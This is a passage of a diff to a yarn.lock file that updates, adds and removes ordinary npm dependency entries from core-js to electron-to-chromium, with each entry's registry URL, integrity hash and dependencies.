   integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
 
+core-js-compat@^3.40.0:
+  version "3.41.0"
+  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.41.0.tgz#4cdfce95f39a8f27759b667cf693d96e5dda3d17"
+  integrity sha512-RFsU9LySVue9RTwdDVX/T0e2Y6jRYWXERKElIjpuEOEnxaXffI0X7RUwVzfYLfzuLXSNJDYoRYUAmRUcyln20A==
+  dependencies:
+    browserslist "^4.24.4"
+
 core-js-compat@^3.6.2:
   version "3.6.4"
   resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.6.4.tgz#938476569ebb6cda80d339bcf199fae4f16fff17"
@@ -5985,17 +6900,12 @@ core-js-compat@^3.6.2:
     browserslist "^4.8.3"
     semver "7.0.0"
 
-core-js@3.6.4, core-js@^3.6.4:
-  version "3.6.4"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.6.4.tgz#440a83536b458114b9cb2ac1580ba377dc470647"
-  integrity sha512-4paDGScNgZP2IXXilaffL9X7968RuvwlkK3xWtZRVqgd8SYNiVKRJvkFd1aqqEuPfN7E68ZHEp9hDj6lHj4Hyw==
-
 core-js@^1.0.0:
   version "1.2.7"
   resolved "https://registry.yarnpkg.com/core-js/-/core-js-1.2.7.tgz#652294c14651db28fa93bd2d5ff2983a4f08c636"
   integrity sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=
 
-core-js@^2.4.1, core-js@^2.6.5:
+core-js@^2.4.1:
   version "2.6.11"
   resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.11.tgz#38831469f9922bded8ee21c9dc46985e0399308c"
   integrity sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==
@@ -6005,12 +6915,17 @@ core-js@^3.15.0:
   resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.16.0.tgz#1d46fb33720bc1fa7f90d20431f36a5540858986"
   integrity sha512-5+5VxRFmSf97nM8Jr2wzOwLqRo6zphH2aX+7KsAUONObyzakDNq2G/bgbhinxB4PoV9L3aXQYhiDKyIKWd2c8g==
 
+core-js@^3.6.4:
+  version "3.6.4"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.6.4.tgz#440a83536b458114b9cb2ac1580ba377dc470647"
+  integrity sha512-4paDGScNgZP2IXXilaffL9X7968RuvwlkK3xWtZRVqgd8SYNiVKRJvkFd1aqqEuPfN7E68ZHEp9hDj6lHj4Hyw==
+
 core-js@^3.8.2:
   version "3.27.2"
   resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.27.2.tgz#85b35453a424abdcacb97474797815f4d62ebbf7"
   integrity sha512-9ashVQskuh5AZEZ1JdQWp1GqSoC1e1G87MzRqg2gIfVAQ7Qn9K+uFj8EcniUFA4P2NLZfV+TOlX1SzoKfo+s7w==
 
-core-util-is@1.0.2, core-util-is@~1.0.0:
+core-util-is@~1.0.0:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
   integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
@@ -6038,13 +6953,6 @@ crc@^3.4.4:
   dependencies:
     buffer "^5.1.0"
 
-create-error-class@^3.0.0:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/create-error-class/-/create-error-class-3.0.2.tgz#06be7abef947a3f14a30fd610671d401bca8b7b6"
-  integrity sha1-Br56vvlHo/FKMP1hBnHUAbyot7Y=
-  dependencies:
-    capture-stack-trace "^1.0.0"
-
 create-jest@^29.7.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/create-jest/-/create-jest-29.7.0.tgz#a355c5b3cb1e1af02ba177fe7afd7feee49a5320"
@@ -6106,7 +7014,7 @@ cross-spawn@^5.0.1, cross-spawn@^5.1.0:
     shebang-command "^1.2.0"
     which "^1.2.9"
 
-cross-spawn@^6.0.0, cross-spawn@^6.0.5:
+cross-spawn@^6.0.0:
   version "6.0.5"
   resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
   integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
@@ -6145,6 +7053,11 @@ crx@^5.0.0:
     node-rsa "^1.0.5"
     pbf "^3.2.0"
 
+crypt@0.0.2:
+  version "0.0.2"
+  resolved "https://registry.yarnpkg.com/crypt/-/crypt-0.0.2.tgz#88d7ff7ec0dfb86f713dc87bbb42d044d3e6c41b"
+  integrity sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==
+
 crypto-browserify@~3.2.6:
   version "3.2.8"
   resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.2.8.tgz#b9b11dbe6d9651dd882a01e6cc467df718ecf189"
@@ -6154,16 +7067,18 @@ crypto-browserify@~3.2.6:
     ripemd160 "0.2.0"
     sha.js "2.2.6"
 
-crypto-random-string@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-1.0.0.tgz#a230f64f568310e1498009940790ec99545bca7e"
-  integrity sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4=
-
 crypto-random-string@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-2.0.0.tgz#ef2a7a966ec11083388369baa02ebead229b30d5"
   integrity sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==
 
+crypto-random-string@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-4.0.0.tgz#5a3cc53d7dd86183df5da0312816ceeeb5bb1fc2"
+  integrity sha512-x8dy3RnvYdlUcPOjkEHqozhiwzKNSq7GcPuXFbnyMOCHxX8V3OgIg/pYuabl2sbUPfIJaeAQB7PMOK8DFIdoRA==
+  dependencies:
+    type-fest "^1.0.1"
+
 css-in-js-utils@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/css-in-js-utils/-/css-in-js-utils-2.0.1.tgz#3b472b398787291b47cfe3e44fecfdd9e914ba99"
@@ -6238,15 +7153,16 @@ css-select@^2.0.0:
     domutils "^1.7.0"
     nth-check "^1.0.2"
 
-css-select@~1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/css-select/-/css-select-1.2.0.tgz#2b3a110539c5355f1cd8d314623e870b121ec858"
-  integrity sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=
+css-select@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/css-select/-/css-select-5.1.0.tgz#b8ebd6554c3637ccc76688804ad3f6a6fdaea8a6"
+  integrity sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==
   dependencies:
-    boolbase "~1.0.0"
-    css-what "2.1"
-    domutils "1.5.1"
-    nth-check "~1.0.1"
+    boolbase "^1.0.0"
+    css-what "^6.1.0"
+    domhandler "^5.0.2"
+    domutils "^3.0.1"
+    nth-check "^2.0.1"
 
 css-selector-tokenizer@^0.7.0:
   version "0.7.1"
@@ -6273,16 +7189,16 @@ css-tree@^1.1.2:
     mdn-data "2.0.14"
     source-map "^0.6.1"
 
-css-what@2.1:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/css-what/-/css-what-2.1.3.tgz#a6d7604573365fe74686c3f311c56513d88285f2"
-  integrity sha512-a+EPoD+uZiNfh+5fxw2nO9QwFa6nJe2Or35fGY6Ipw1R3R4AGz1d1TEZrCegvw2YTmZ0jXirGYlzxxpYSHwpEg==
-
 css-what@^3.2.1:
   version "3.4.2"
   resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
   integrity sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==
 
+css-what@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/css-what/-/css-what-6.1.0.tgz#fb5effcf76f1ddea2c81bdfaa4de44e79bac70f4"
+  integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==
+
 cssesc@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-0.1.0.tgz#c814903e45623371a0477b40109aaafbeeaddbb4"
@@ -6357,12 +7273,10 @@ danger@^11.2.3:
     require-from-string "^2.0.2"
     supports-hyperlinks "^1.0.1"
 
-dashdash@^1.12.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-  integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
-  dependencies:
-    assert-plus "^1.0.0"
+data-uri-to-buffer@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz#d8feb2b2881e6a4f58c2e08acfd0e2834e26222e"
+  integrity sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==
 
 data-urls@^4.0.0:
   version "4.0.0"
@@ -6373,12 +7287,17 @@ data-urls@^4.0.0:
     whatwg-mimetype "^3.0.0"
     whatwg-url "^12.0.0"
 
-debounce@1.2.0, debounce@^1.2.0:
+debounce@1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/debounce/-/debounce-1.2.1.tgz#38881d8f4166a5c5848020c11827b834bcb3e0a5"
+  integrity sha512-XRRe6Glud4rd/ZGQfiV1ruXSfbvfJedlV9Y6zOlP+2K04vBYiJEte6stfFkCP03aMnY5tsipamumUjL14fofug==
+
+debounce@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/debounce/-/debounce-1.2.0.tgz#44a540abc0ea9943018dc0eaa95cce87f65cd131"
   integrity sha512-mYtLl1xfZLi1m4RtQYlZgJUNQjl4ZxVnHzIR8nLLgi4q1YT8o/WM+MK/f8yfcc9s5Ir5zRaPZyZU6xs1Syoocg==
 
-debug@2, debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.8, debug@~2.6.3:
+debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.8:
   version "2.6.9"
   resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
   integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
@@ -6406,19 +7325,24 @@ debug@^4.3.1:
   dependencies:
     ms "2.1.2"
 
-debug@^4.3.4:
+debug@^4.3.4, debug@~4.3.1:
   version "4.3.5"
   resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.5.tgz#e83444eceb9fedd4a1da56d671ae2446a01a6e1e"
   integrity sha512-pt0bNEmneDIvdL1Xsd9oDQ/wrQRkXDT4AUWlNZNPKvW5x/jyO9VFXkJUP07vQ2upmw5PlaITaPKc31jK13V+jg==
   dependencies:
     ms "2.1.2"
 
-decamelize@3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-3.2.0.tgz#84b8e8f4f8c579f938e35e2cc7024907e0090851"
-  integrity sha512-4TgkVUsmmu7oCSyGBm5FvfMoACuoh9EOidm7V5/J2X2djAwwt57qb3F2KMP2ITqODTCSwb+YRV+0Zqrv18k/hw==
+debug@^4.4.0:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
   dependencies:
-    xregexp "^4.2.4"
+    ms "^2.1.3"
+
+decamelize@6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-6.0.0.tgz#8cad4d916fde5c41a264a43d0ecc56fe3d31749e"
+  integrity sha512-Fv96DCsdOgB6mdGl67MT5JaTNKRzrzill5OH5s8bjYJXVlcXyPYGyPsUkWyGV5p1TXI5esYIYMMeDJL0hEIwaA==
 
 decamelize@^1.1.2, decamelize@^1.2.0:
   version "1.2.0"
@@ -6514,38 +7438,39 @@ deep-assign@^3.0.0:
   dependencies:
     is-obj "^1.0.0"
 
-deep-equal@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.0.1.tgz#f5d260292b660e084eff4cdbc9f08ad3247448b5"
-  integrity sha1-9dJgKStmDghO/0zbyfCK0yR0SLU=
-
 deep-extend@^0.6.0:
   version "0.6.0"
   resolved "https://registry.yarnpkg.com/deep-extend/-/deep-extend-0.6.0.tgz#c4fa7c95404a17a9c3e8ca7e1537312b736330ac"
   integrity sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==
 
-deep-is@^0.1.3, deep-is@~0.1.3:
+deep-is@^0.1.3:
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
   integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
 
-deepcopy@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/deepcopy/-/deepcopy-2.0.0.tgz#2acb9b7645f9f54d815eee991455e790e72e2252"
-  integrity sha512-d5ZK7pJw7F3k6M5vqDjGiiUS9xliIyWkdzBjnPhnSeRGjkYOGZMCFkdKVwV/WiHOe0NwzB8q+iDo7afvSf0arA==
-  dependencies:
-    type-detect "^4.0.8"
-
-deepmerge@4.2.2, deepmerge@^4.0.0:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955"
-  integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==
-
-deepmerge@^4.2.2:
+deepmerge@4.3.1, deepmerge@^4.2.2:
   version "4.3.1"
   resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.3.1.tgz#44b5f2147cd3b00d4b56137685966f26fd25dd4a"
   integrity sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==
 
+default-browser-id@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/default-browser-id/-/default-browser-id-3.0.0.tgz#bee7bbbef1f4e75d31f98f4d3f1556a14cea790c"
+  integrity sha512-OZ1y3y0SqSICtE8DE4S8YOE9UZOJ8wO16fKWVP5J1Qz42kV9jcnMVFrEE/noXb/ss3Q4pZIH79kxofzyNNtUNA==
+  dependencies:
+    bplist-parser "^0.2.0"
+    untildify "^4.0.0"
+
+default-browser@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/default-browser/-/default-browser-4.0.0.tgz#53c9894f8810bf86696de117a6ce9085a3cbc7da"
+  integrity sha512-wX5pXO1+BrhMkSbROFsyxUm0i/cJEScyNhA4PPxc41ICuv05ZZB/MX28s8aZx6xjmatvebIapF6hLEKEcpneUA==
+  dependencies:
+    bundle-name "^3.0.0"
+    default-browser-id "^3.0.0"
+    execa "^7.1.1"
+    titleize "^3.0.0"
+
 default-gateway@^6.0.0, default-gateway@^6.0.3:
   version "6.0.3"
   resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-6.0.3.tgz#819494c888053bdb743edbf343d6cdf7f2943a71"
@@ -6565,16 +7490,30 @@ defer-to-connect@^1.0.1:
   resolved "https://registry.yarnpkg.com/defer-to-connect/-/defer-to-connect-1.0.2.tgz#4bae758a314b034ae33902b5aac25a8dd6a8633e"
   integrity sha512-k09hcQcTDY+cwgiwa6PYKLm3jlagNzQ+RSvhjzESOGOx+MNOuXkxTfEvPrO1IOQ81tArCFYQgi631clB70RpQw==
 
-defer-to-connect@^2.0.0:
+defer-to-connect@^2.0.0, defer-to-connect@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/defer-to-connect/-/defer-to-connect-2.0.1.tgz#8016bdb4143e4632b77a3449c6236277de520587"
   integrity sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==
 
+define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
 define-lazy-prop@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz#3f7ae421129bcaaac9bc74905c98a0009ec9ee7f"
   integrity sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==
 
+define-lazy-prop@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz#dbb19adfb746d7fc6d734a06b72f4a00d021255f"
+  integrity sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==
+
 define-properties@^1.1.2, define-properties@^1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
@@ -6639,11 +7578,6 @@ detect-node@^2.0.4:
   resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.0.4.tgz#014ee8f8f669c5c58023da64b8179c083a28c46c"
   integrity sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==
 
-diff-sequences@^27.0.6:
-  version "27.0.6"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-27.0.6.tgz#3305cb2e55a033924054695cc66019fd7f8e5723"
-  integrity sha512-ag6wfpBFyNXZ0p8pcuIDS//D8H062ZQJ3fzYxjpmeKjnz8W4pekL3AI8VohmyZmsWW2PWaHgjsmqR6L13101VQ==
-
 diff-sequences@^29.6.3:
   version "29.6.3"
   resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.6.3.tgz#4deaf894d11407c51efc8418012f9e70b84ea921"
@@ -6666,19 +7600,6 @@ dir-glob@^3.0.1:
   dependencies:
     path-type "^4.0.0"
 
-dispensary@0.51.2:
-  version "0.51.2"
-  resolved "https://registry.yarnpkg.com/dispensary/-/dispensary-0.51.2.tgz#c3628826d76f4ac391deb0ae81123b9b94dbd9ee"
-  integrity sha512-liUDx/g1xFEBFoOL6308Vr0aYAZlGAyXGcOvuXVa/6qVBZT4QZrv4pVNeb5QOeD5C/Flta+A+qTnLkLnhgs40g==
-  dependencies:
-    async "~3.2.0"
-    natural-compare-lite "~1.4.0"
-    pino "~6.0.0"
-    request "~2.88.0"
-    sha.js "~2.4.4"
-    source-map-support "~0.5.4"
-    yargs "~15.3.0"
-
 dns-equal@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/dns-equal/-/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d"
@@ -6714,20 +7635,21 @@ dom-serializer@0:
     domelementtype "^2.0.1"
     entities "^2.0.0"
 
-dom-serializer@~0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.1.1.tgz#1ec4059e284babed36eec2941d4a970a189ce7c0"
-  integrity sha512-l0IU0pPzLWSHBcieZbpOKgkIn3ts3vAh7ZuFyXNwJxJXk/c4Gwj9xaTJwIDVQCXawWD0qb3IzMGH5rglQaO0XA==
+dom-serializer@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-2.0.0.tgz#e41b802e1eedf9f6cae183ce5e622d789d7d8e53"
+  integrity sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==
   dependencies:
-    domelementtype "^1.3.0"
-    entities "^1.1.1"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.2"
+    entities "^4.2.0"
 
 domain-browser@^1.1.1:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
   integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
 
-domelementtype@1, domelementtype@^1.3.0, domelementtype@^1.3.1:
+domelementtype@1:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
   integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
@@ -6737,6 +7659,11 @@ domelementtype@^2.0.1:
   resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.0.1.tgz#1f8bdfe91f5a78063274e803b4bdcedf6e94f94d"
   integrity sha512-5HOHUDsYZWV8FGWN0Njbr/Rn7f/eWSQi1v7+HsUVwXgn8nWWlL64zKDkS0n8ZmQ3mlWOMuXOnR+7Nx/5tMO5AQ==
 
+domelementtype@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
+
 domexception@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/domexception/-/domexception-4.0.0.tgz#4ad1be56ccadc86fc76d033353999a8037d03673"
@@ -6744,22 +7671,14 @@ domexception@^4.0.0:
   dependencies:
     webidl-conversions "^7.0.0"
 
-domhandler@^2.3.0:
-  version "2.4.2"
-  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-2.4.2.tgz#8805097e933d65e85546f726d60f5eb88b44f803"
-  integrity sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==
-  dependencies:
-    domelementtype "1"
-
-domutils@1.5.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.5.1.tgz#dcd8488a26f563d61079e48c9f7b7e32373682cf"
-  integrity sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=
+domhandler@^5.0.2, domhandler@^5.0.3:
+  version "5.0.3"
+  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-5.0.3.tgz#cc385f7f751f1d1fc650c21374804254538c7d31"
+  integrity sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==
   dependencies:
-    dom-serializer "0"
-    domelementtype "1"
+    domelementtype "^2.3.0"
 
-domutils@^1.5.1, domutils@^1.7.0:
+domutils@^1.7.0:
   version "1.7.0"
   resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
   integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
@@ -6767,12 +7686,14 @@ domutils@^1.5.1, domutils@^1.7.0:
     dom-serializer "0"
     domelementtype "1"
 
-dot-prop@^4.1.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-4.2.0.tgz#1f19e0c2e1aa0e32797c49799f2837ac6af69c57"
-  integrity sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==
+domutils@^3.0.1:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-3.1.0.tgz#c47f551278d3dc4b0b1ab8cbb42d751a6f0d824e"
+  integrity sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==
   dependencies:
-    is-obj "^1.0.0"
+    dom-serializer "^2.0.0"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
 
 dot-prop@^5.2.0:
   version "5.2.0"
@@ -6781,6 +7702,13 @@ dot-prop@^5.2.0:
   dependencies:
     is-obj "^2.0.0"
 
+dot-prop@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-6.0.1.tgz#fc26b3cf142b9e59b74dbd39ed66ce620c681083"
+  integrity sha512-tE7ztYzXHIeyvc7N+hR3oi7FIbf/NIjVP9hmAt3yMXzrQ072/fpjGLx2GxNxGxUl5V73MEqYzioOMoVhGMJ5cA==
+  dependencies:
+    is-obj "^2.0.0"
+
 download@^6.2.2:
   version "6.2.5"
   resolved "https://registry.yarnpkg.com/download/-/download-6.2.5.tgz#acd6a542e4cd0bb42ca70cfc98c9e43b07039714"
@@ -6848,13 +7776,6 @@ eastasianwidth@^0.2.0:
   resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb"
   integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==
 
-ecc-jsbn@~0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz#0fc73a9ed5f0d53c38193398523ef7e543777505"
-  integrity sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=
-  dependencies:
-    jsbn "~0.1.0"
-
 ecdsa-sig-formatter@1.0.11:
   version "1.0.11"
   resolved "https://registry.yarnpkg.com/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz#ae0f0fa2d85045ef14a817daa3ce9acd0489e5bf"
@@ -6877,16 +7798,16 @@ electron-to-chromium@^1.3.523:
   resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.538.tgz#15226638ee9db5d8e74f4c860cef6078d8e1e871"
   integrity sha512-rlyYXLlOoZkJuvY4AJXUpP7CHRVtwZz311HPVoEO1UHo/kqDCsP1pNas0A9paZuPEiYGdLwrjllF2hs69NEaTw==
 
-electron-to-chromium@^1.3.896:
-  version "1.3.903"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.903.tgz#e2d3c3809f4ef05fdbe5cc88969dfc94b1bd15b9"
-  integrity sha512-+PnYAyniRRTkNq56cqYDLq9LyklZYk0hqoDy9GpcU11H5QjRmFZVDbxtgHUMK/YzdNTcn1XWP5gb+hFlSCr20g==
-
 electron-to-chromium@^1.4.284, electron-to-chromium@^1.4.668:
   version "1.4.758"
   resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.758.tgz#f39e530cae2ca4329a0f0e1840629d8d1da73156"
   integrity sha512-/o9x6TCdrYZBMdGeTifAP3wlF/gVT+TtWJe3BSmtNh92Mw81U9hrYwW9OAGUh+sEOX/yz5e34sksqRruZbjYrw==
 
+electron-to-chromium@^1.5.73:
+  version "1.5.114"
